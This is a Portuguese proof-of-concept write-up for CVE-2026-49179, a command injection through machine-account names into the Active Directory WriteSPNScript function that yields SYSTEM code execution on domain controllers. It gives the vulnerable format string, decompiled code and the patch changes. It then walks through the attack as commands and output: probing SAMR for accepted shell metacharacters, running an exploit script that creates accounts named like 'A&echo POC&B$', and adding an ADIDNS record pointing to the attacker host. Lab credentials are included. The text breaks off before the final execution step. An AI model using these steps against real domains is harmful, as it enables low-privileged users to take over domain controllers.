
Prova de conceito e scripts de exploit para CVE-2026-49179, uma injeção de comando na função WriteSPNScript do Active Directory que permite RCE como SYSTEM em controladores de domínio.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2026-49179 |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N) |
| CWE | CWE-77 (Injeção de Comando) |
| Componente Afetado | ntdsai.dll — função WriteSPNScript |
| Sistemas Afetados | Windows Server 2016, 2019, 2022, 2025 (sem patch) |
| Vetor de Ataque | Usuário de domínio autenticado (qualquer) |
| Impacto | Execução Remota de Código como SYSTEM no Controlador de Domínio |
| Publicado | Agosto de 2026 |
A função WriteSPNScript em ntdsai.dll gera comandos de script em lote para remediação de SPN (Service Principal Name) durante operações de manutenção do Active Directory. A função usa uma string de formato para construir comandos repadmin.exe /writespn, mas falha ao sanitizar o parâmetro Distinguished Name (DN), permitindo injeção de comando através do caractere & (separador de comandos do cmd.exe).
A string de formato vulnerável:
%ws\repadmin.exe /writespn %ws %ws %ws\r\n
Parâmetros: SystemDir, WriteOp (ADD/DELETE), DN, SPN_value
O DN é derivado do Common Name (CN) da conta de máquina, que é definido durante a criação da conta. Quando uma conta de máquina é criada com metacaracteres de shell em seu nome, esses caracteres fluem sem escape para o script gerado. Quando o cmd.exe executa o script, & atua como separador de comandos, executando comandos controlados pelo atacante como SYSTEM.
O Active Directory possui dois protocolos principais para gerenciar contas de máquina:
| Protocolo | Validação de Caracteres | Metacaracteres de Shell |
|---|---|---|
| LDAP (valores de SPN) | Estrita — CONSTRAINT_ATT_TYPE rejeita & ; | ' \ $ ( )` | Bloqueado |
| SAMR (nomes de máquina) | Frouxa — valida o formato básico do nome da conta | Permitido: & ' \ $ ( ) ! espaço` |
Essa assimetria de validação é a causa raiz:
sAMAccountName, que se torna o CN e flui para o DNWriteSPNScript sem sanitizaçãoNo endereço 0x1802a98a0 no binário não corrigido:
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
STRSAFE_LPSTR pszDest; // ANSI output buffer
char local_288[47]; // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
WCHAR local_258[264]; // System directory
GetSystemDirectoryW(local_258, 0x104);
// Calculate buffer size (sum of all string lengths + overhead)
uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;
// Allocate and format — NO ESCAPING of DN or SPN parameters
pszDest = THAlloc_(param_1, 1, uVar4, 1);
StringCchPrintfA(pszDest, uVar4, local_288, local_258);
// Write to script file handle
WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}
StringCchPrintfA formata o DN diretamente no buffer de saída. Sem escape, sem aspas, sem sanitização.
Para uma máquina com CN=A&ping attacker&B:
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B
cmd.exe interpreta isso como cinco instruções separadas:
| # | Instrução | Resultado |
|---|---|---|
| 1 | C:\...\repadmin.exe /writespn ADD CN=A | Falha (DN truncado) |
| 2 | ping attacker | INJETADO — executa como SYSTEM |
| 3 | B,CN=Computers,DC=... HOST/A | Falha (não é um comando válido) |
| 4 | ping attacker | INJETADO — executa novamente (a partir do parâmetro SPN) |
| 5 | B | Falha (não é um comando válido) |
O comando injetado aparece duas vezes — uma vez a partir do parâmetro DN e outra a partir do parâmetro SPN (que também contém o nome da máquina).
O WriteSPNScript corrigido (tamanho: 1477 → 2005 bytes) faz três alterações:
Duas novas funções de sanitização aplicadas a ambos os parâmetros DN e SPN:
EscapeForPowerShellSingleQuote() — escapa ' para evitar a quebra de strings entre aspas simplesEscapeForNativeArgvBackslashesBeforeDoubleQuote() — escapa sequências \ antes de " para o parsing nativo de argv| Base (Vulnerável) | Corrigido | |
|---|---|---|
| Função | StringCchPrintfA (ANSI) | StringCchPrintfW (Wide/Unicode) |
| Aspas | Nenhuma | Parâmetros entre aspas simples |
| Saída | repadmin /writespn ADD DN SPN | repadmin /writespn ADD 'escaped_DN' 'escaped_SPN' |
Uma revisão anterior tinha uma feature flag Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled controlando a correção. No patch final, essa flag foi removida — a correção está sempre ativa e não pode ser desativada.
| Host | Função | IP | SO |
|---|---|---|---|
| WINTERFELL | Controlador de Domínio | 192.168.56.11 | Windows Server 2019 |
| Attacker | Kali Linux | 192.168.14.238 | Kali 2026 |
| Domínio | north.sevenkingdoms.local | ||
| Usuário de baixo privilégio | samwell.tarly / Heartsbane | Usuário de domínio normal | |
| Usuário administrador | robb.stark / sexywolfy | Administrador de domínio |
Usando spn_probe3.py, testou-se quais caracteres o SAMR aceita em nomes de contas de máquina versus quais o LDAP aceita em valores de SPN:
SAMR Machine Name Character Test (as samwell.tarly):
[+] ACCEPTED ' (single quote) -> INJECT'A$ RID: 1123
[+] ACCEPTED ` (backtick) -> INJECT`A$ RID: 1124
[+] ACCEPTED & (ampersand) -> INJECT&A$ RID: 1125
[+] ACCEPTED $ (dollar sign) -> INJECT$A$ RID: 1126
[+] ACCEPTED ( (left paren) -> INJECT(A$ RID: 1127
[+] ACCEPTED ) (right paren) -> INJECT)A$ RID: 1128
[+] ACCEPTED ! (exclamation) -> INJECT!A$ RID: 1129
[+] ACCEPTED ' ' (space) -> INJECT A$ RID: 1130
LDAP SPN Validation (all 28 shell metacharacters tested):
[-] ALL REJECTED with constraintViolation (DSID-033E109C)
Descoberta principal: O SAMR permite todos os 8 metacaracteres de shell testados. O LDAP bloqueia todos eles. O vetor de injeção é através de nomes de máquina criados via SAMR, não através de valores de SPN.
$ python3 spn_prl_exploit.py 192.168.56.11 \
-d north.sevenkingdoms.local \
-u samwell.tarly -p Heartsbane --payload benign
[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137
Também criado como samwell.tarly:
[+] Created C&ping a&D$, RID: 1138
Confirmado: um usuário de domínio normal (PR:L) pode criar contas de máquina com injeção de comando & no nome.
Usuários de domínio normais podem adicionar registros ADIDNS. Usei dnstool.py para criar um hostname curto apontando para o atacante:
python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
-r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11
Resolução verificada no DC:
*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name: a.north.sevenkingdoms.local
Address: 192.168.14.238
Simulando a saída exata que WriteSPNScript geraria, executada no DC: